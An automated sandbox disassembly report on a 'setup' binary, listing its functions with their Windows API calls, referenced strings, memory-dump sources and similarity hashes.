RemoveDirectoryW.KERNEL32(?,00000000,?,\\?\,00000004,?,?,?,00DE871D,000000FF,?,00CCBCE6,?), ref: 00CCBA73

Part of subcall function 00BAA2A0: FindResourceW.KERNEL32(00000000,?,00000006,?,?,*.*,8007000E,80004005,00BC2B04,00000000,?,?,?,*.*,?,80070057), ref: 00BAA2C3

RemoveDirectoryW.KERNEL32(?,02141699,?,?,?,?,00DE871D,000000FF,?,00CCBCE6,?,00000000), ref: 00CCBAA2
GetLastError.KERNEL32(?,02141699,?,?,?,?,00DE871D,000000FF,?,00CCBCE6,?,00000000), ref: 00CCBAB2
DeleteFileW.KERNEL32(?,00000000,?,\\?\,00000004,?,?,?,00000000,00DE871D,000000FF,?,80004005,02141699,?), ref: 00CCBB83
GetLastError.KERNEL32(?,?,74DF3220), ref: 00CCBBC2

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Strings

\\?\, xrefs: 00CCBA34, 00CCBA46, 00CCBA50, 00CCBB44, 00CCBB56, 00CCBB60

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: DirectoryErrorInit_thread_footerLastRemove$DeleteFileFindHeapProcessResource
String ID: \\?\
API String ID: 34920479-4282027825
Opcode ID: 4ad9993a82baabb19e364664e0a9bddc074e6ad0b446e5e98b2c98bdccefe260
Instruction ID: 2accdeee6b4dd87964ad78f93b425bf93c1062c9105fd1736b64573f65367cc0
Opcode Fuzzy Hash: 4ad9993a82baabb19e364664e0a9bddc074e6ad0b446e5e98b2c98bdccefe260
Instruction Fuzzy Hash: 0B51AE71A046089FDB10EFA9C856FAAB7E8EF05321F20465DE8A1D7290DB359D44DB60

Function 00BB9BD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00EA699C,02141699,00000000,00EA69B8), ref: 00BB9C43
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BB9CA8
LoadCursorW.USER32(00BA0000,?), ref: 00BB9D04
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BB9D9B

Strings

ATL:%p, xrefs: 00BB9D24
v, xrefs: 00BB9CA8, 00BB9D9B

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$Leave$CursorEnterLoad
String ID: v$ATL:%p
API String ID: 2080323225-109518622
Opcode ID: 02eef52ec52527f51f7e88a20dd125d1eb0910c81e8536910d0224578e749a41
Instruction ID: 2dbce08e59c4c7bf63173a76080c84b94452ffe40c5c9af82addf93aec82cf0e
Opcode Fuzzy Hash: 02eef52ec52527f51f7e88a20dd125d1eb0910c81e8536910d0224578e749a41
Instruction Fuzzy Hash: C551BC71D00B44DFDB20CF69C9406AABBF0FF59320F04465EE995A3691E7B1B984CB90

Function 00BB2510 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 123COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00BB2592

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

__Init_thread_footer.LIBCMT ref: 00BB25DA
CreateDirectoryW.KERNEL32(00E9CAB0,00000000,?,?,02141699,?), ref: 00BB2617

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D802A8

Strings

xi, xrefs: 00BB266B
xi, xrefs: 00BB25E6
xi, xrefs: 00BB256E

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$ConditionCreateDirectoryVariableWake
String ID: xi$xi$xi
API String ID: 2312781895-3608368268
Opcode ID: e0532a7b027b1c4f603d7a02481810db2d180992c8f066e4e1633b88001c4e8c
Instruction ID: f795e41ddb63a13905f1eb0a06442b42f7b237a49cbeaebb1ecf92225c37101a
Opcode Fuzzy Hash: e0532a7b027b1c4f603d7a02481810db2d180992c8f066e4e1633b88001c4e8c
Instruction Fuzzy Hash: 48419471D00308DFCB10EBA4D945BEEB7F4EB5A710F1442A9E452BB2D1DB706A08CB61

Function 00D99953 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00D99A60,?,000000FF,-00000010,00000000,?,?,00D99CCA,00000021,FlsSetValue,00E10E8C,00E10E94,-00000010,00000000), ref: 00D99A14

Strings

api-ms-, xrefs: 00D999AA
ext-ms-, xrefs: 00D999BE

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: dd2b4a1eea946f6a51f54682a2d209ef6df5cdc4b655fba6dcec302ecca82fc1
Instruction ID: ef2c0dd3f0ead0a7103a7dec309161b74bad36725dab0f7157c1890de3aead67
Opcode Fuzzy Hash: dd2b4a1eea946f6a51f54682a2d209ef6df5cdc4b655fba6dcec302ecca82fc1
Instruction Fuzzy Hash: AA21EB31A01210BFDF219B69DC91A5AB768EB927A0F28121DFD06B72D1D730ED44CAF0

Function 00D7D03D Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00D7D0B8,00D7D01B,00D7D2BC), ref: 00D7D054
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00D7D06A
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00D7D07F

Strings

ReleaseSRWLockExclusive, xrefs: 00D7D074
KERNEL32.DLL, xrefs: 00D7D04F
AcquireSRWLockExclusive, xrefs: 00D7D064

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 6f4bbd874afdff8181cdeb273a359128944e5f841d505f8a8243db662ca48ae5
Instruction ID: 6ed1085fe6b0242c828318dc5091343e24a837a1256b65ba1e18263efc3f2e80
Opcode Fuzzy Hash: 6f4bbd874afdff8181cdeb273a359128944e5f841d505f8a8243db662ca48ae5
Instruction Fuzzy Hash: 69F0C8313443119F9B315F615C8166733AA6F45715B28E23AD90DF3690FA61CC8AD6F0

Function 00BDF330 Relevance: 9.2, APIs: 6, Instructions: 153COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BDF37A
std::_Lockit::_Lockit.LIBCPMT ref: 00BDF39C
std::_Lockit::~_Lockit.LIBCPMT ref: 00BDF3C4
__Getctype.LIBCPMT ref: 00BDF4A5
std::_Facet_Register.LIBCPMT ref: 00BDF507
std::_Lockit::~_Lockit.LIBCPMT ref: 00BDF531

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 8a5d7808b54a524818c89571efa677a1bce8ea2c3ccc353d2fdc76e158870272
Instruction ID: 3dbd766872f2bf1ed5ec0e48003d6db5166e8a82deb08e558ec9e640d098862d
Opcode Fuzzy Hash: 8a5d7808b54a524818c89571efa677a1bce8ea2c3ccc353d2fdc76e158870272
Instruction Fuzzy Hash: 17619271D04249CFDB11DF58D9417AEFBF0EF14320F1482AAD845AB391E774AA84CBA1

Function 00BDF130 Relevance: 9.1, APIs: 6, Instructions: 140COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BDF16D
std::_Lockit::_Lockit.LIBCPMT ref: 00BDF18F
std::_Lockit::~_Lockit.LIBCPMT ref: 00BDF1B7
__Getcoll.LIBCPMT ref: 00BDF281
std::_Facet_Register.LIBCPMT ref: 00BDF2C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00BDF2FE

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetcollRegister
String ID:
API String ID: 1184649410-0
Opcode ID: c5fdb43e6de32f0839ed80511b9e057c35a7eeeca5fab43f6aca6be1ab21f435
Instruction ID: bd193a6b6d8c4e7296ef6502dee4ac2722e66534b835cd4e6df04399ed423e16
Opcode Fuzzy Hash: c5fdb43e6de32f0839ed80511b9e057c35a7eeeca5fab43f6aca6be1ab21f435
Instruction Fuzzy Hash: 2A518C71904249DFCB11DF98D880BADFBF0EF55314F2481AAE8167B381E7746A05CB90

Function 00D042B0 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00D04311

Strings

HTTP/1.0, xrefs: 00D05108
FTP Server, xrefs: 00D04CF8, 00D04D0A, 00D04D14
Local Network Server, xrefs: 00D04A98, 00D04AAA, 00D04AB4
*/*, xrefs: 00D05090
GET, xrefs: 00D04499

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLast
String ID: */*$FTP Server$GET$HTTP/1.0$Local Network Server
API String ID: 1452528299-1822174798
Opcode ID: 052560742288933b4f09c7a3b72444c36608448d3e7d4acd2e624f821ceff58c
Instruction ID: 2f7a9317fcb66962956c6c61dbd82a3318f4b06d81b900d14cc197dd749cda96
Opcode Fuzzy Hash: 052560742288933b4f09c7a3b72444c36608448d3e7d4acd2e624f821ceff58c
Instruction Fuzzy Hash: 9D41D4B1900209ABDB10EFA9CC45FAEB7F8EF05710F14452AEA15E72C1DB749905CBB1

Function 00D819D3 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D819CA,00D81996,?,?,00BDC5ED,00CCA740,?,00000008), ref: 00D819E1
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D819EF
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D81A08
SetLastError.KERNEL32(00000000,00D819CA,00D81996,?,?,00BDC5ED,00CCA740,?,00000008), ref: 00D81A5A

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f4444b53e7eab662ce88fde477442e1679b4cfaa5ec16a485f543b016c1e14c7
Instruction ID: 061865624cb0816fb5bfd02edc062a88bb41d2355ffe257a78036e50e524be0a
Opcode Fuzzy Hash: f4444b53e7eab662ce88fde477442e1679b4cfaa5ec16a485f543b016c1e14c7
Instruction Fuzzy Hash: 4401753620A2129E972837BAAC85B6B269CDB11779774032BF524751E0EF158C5B5370

Function 00BD7A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 182windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,SysTabControl32,?,46010000,?,?,?,?,00000000,00000309,00000000), ref: 00BD7AFD
SendMessageW.USER32(00000000,00000031,00000000,00000000), ref: 00BD7B12
SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 00BD7B1A

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Part of subcall function 00BD9710: SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00BD975F

Strings

TabHost, xrefs: 00BD7A89, 00BD7A9B, 00BD7AA5
SysTabControl32, xrefs: 00BD7AF5

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$AllocateCreateHeapWindow
String ID: SysTabControl32$TabHost
API String ID: 2359350451-2872506973
Opcode ID: d196a5c60479c988909924eb7092b69d8ecc6a2fcf0e3aeffc13c9585963360b
Instruction ID: 1c5fc6f26e7a511b6061dfc7697dbfc295fb8009e93b76b5d81ad63b18d1edfe
Opcode Fuzzy Hash: d196a5c60479c988909924eb7092b69d8ecc6a2fcf0e3aeffc13c9585963360b
Instruction Fuzzy Hash: 76519D31A00605AFDB14DF69C844BAEFBF5FF49710F10426AE815A73A1EB71AD04CBA5

Function 00BAF828 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 166libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,.dll,?,00000000,?,?,?,?,?,?,?), ref: 00BAF96B
GetProcAddress.KERNEL32(00000000,DllGetActivationFactory), ref: 00BAF9B4
FreeLibrary.KERNEL32(00000000,00000000,DllGetActivationFactory,00000002,00000000,?,.dll,?,00000000,?,?,?,?,?,?,?), ref: 00BAFA02

Strings

DllGetActivationFactory, xrefs: 00BAF9AE
.dll, xrefs: 00BAF952

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: .dll$DllGetActivationFactory
API String ID: 145871493-1250754257
Opcode ID: 49ec75e46b0d7616353488949f3328f34e21dc9528cefee7414e49595c64f33c
Instruction ID: b902582a813f815405e5a649fd56e56b2c22eb6699b27c664b39acebf2be6c37
Opcode Fuzzy Hash: 49ec75e46b0d7616353488949f3328f34e21dc9528cefee7414e49595c64f33c
Instruction Fuzzy Hash: EE615D30D0820AEEDF14DFA8C895BFDB7F1EF15300F2481A9E415A7291EB749A45CB61

Function 00BC4650 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113timeCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(02141699,02141699,?), ref: 00BC468F
EnterCriticalSection.KERNEL32(?,02141699,?), ref: 00BC469C
KillTimer.USER32(?,00000001), ref: 00BC46E4
LeaveCriticalSection.KERNEL32(?,?,00000000,?), ref: 00BC4773

Strings

v, xrefs: 00BC4773

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInitializeKillLeaveTimer
String ID: v
API String ID: 3614119372-3261393531
Opcode ID: fc72d4d099ab6550ab9edfb9b2b43ac05147d0e845b19f2e533c473a430a5b3e
Instruction ID: 7cb78d617386937db14018eedaca8f0dc8b94d6c4a17145f4cb027056ad463b6
Opcode Fuzzy Hash: fc72d4d099ab6550ab9edfb9b2b43ac05147d0e845b19f2e533c473a430a5b3e
Instruction Fuzzy Hash: DC41C2342007418FDB11DF28D954BAABBF5EF56310F2046AEE596E7391CB31AE15CB90

Function 00BAF84C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,.dll,?,00000000,?,?,?,?,?,?,?), ref: 00BAF96B
GetProcAddress.KERNEL32(00000000,DllGetActivationFactory), ref: 00BAF9B4
FreeLibrary.KERNEL32(00000000,00000000,DllGetActivationFactory,00000002,00000000,?,.dll,?,00000000,?,?,?,?,?,?,?), ref: 00BAFA02

Strings

DllGetActivationFactory, xrefs: 00BAF9AE
.dll, xrefs: 00BAF952

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: .dll$DllGetActivationFactory
API String ID: 145871493-1250754257
Opcode ID: 10ad0eb947153b09064dffe9335a08d3674c6e393394a8829c2b6621656c8fb9
Instruction ID: 05a4d00eca3899bc36a1d687f518ce20c759c06169d00350e32f45e74f318b05
Opcode Fuzzy Hash: 10ad0eb947153b09064dffe9335a08d3674c6e393394a8829c2b6621656c8fb9
Instruction Fuzzy Hash: CD414F30D0420AEEDF24DFA8C894AFEB7F1EF55300F2581A9D015A71A1EB74DA45CB61

Function 00CB6AB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,02141699,02141699,?,?,?,?,Function_002082C0,000000FF), ref: 00CB6AF3
GetProcAddress.KERNEL32(00000000,RegCreateKeyTransactedW), ref: 00CB6B1C
RegCloseKey.ADVAPI32(00000000,?,?,?,?,Function_002082C0,000000FF), ref: 00CB6B7C

Strings

RegCreateKeyTransactedW, xrefs: 00CB6B16
Advapi32.dll, xrefs: 00CB6AEE

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: Advapi32.dll$RegCreateKeyTransactedW
API String ID: 4190037839-2994018265
Opcode ID: ad5e5e4a1d5982207da7c0792305d734f40d75811c291323793eb08f82a81682
Instruction ID: f090594386b7de1b0776b7878d8da3e0af42ce0e3a55a7d113e1a158c9c89312
Opcode Fuzzy Hash: ad5e5e4a1d5982207da7c0792305d734f40d75811c291323793eb08f82a81682
Instruction Fuzzy Hash: B0318E72744205AFEB248F45DC45FEABBB8FB08750F10412AF915E7280E779A904DAA4

Function 00D8B56C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,02141699,00000000,?,00000000,00E0A459,000000FF,?,00D8B4FC,?,?,00D8B4D0,-00000010), ref: 00D8B5A1
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D8B5B3
FreeLibrary.KERNEL32(00000000,?,00000000,00E0A459,000000FF,?,00D8B4FC,?,?,00D8B4D0,-00000010), ref: 00D8B5D5

Strings

mscoree.dll, xrefs: 00D8B59A
CorExitProcess, xrefs: 00D8B5AB

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
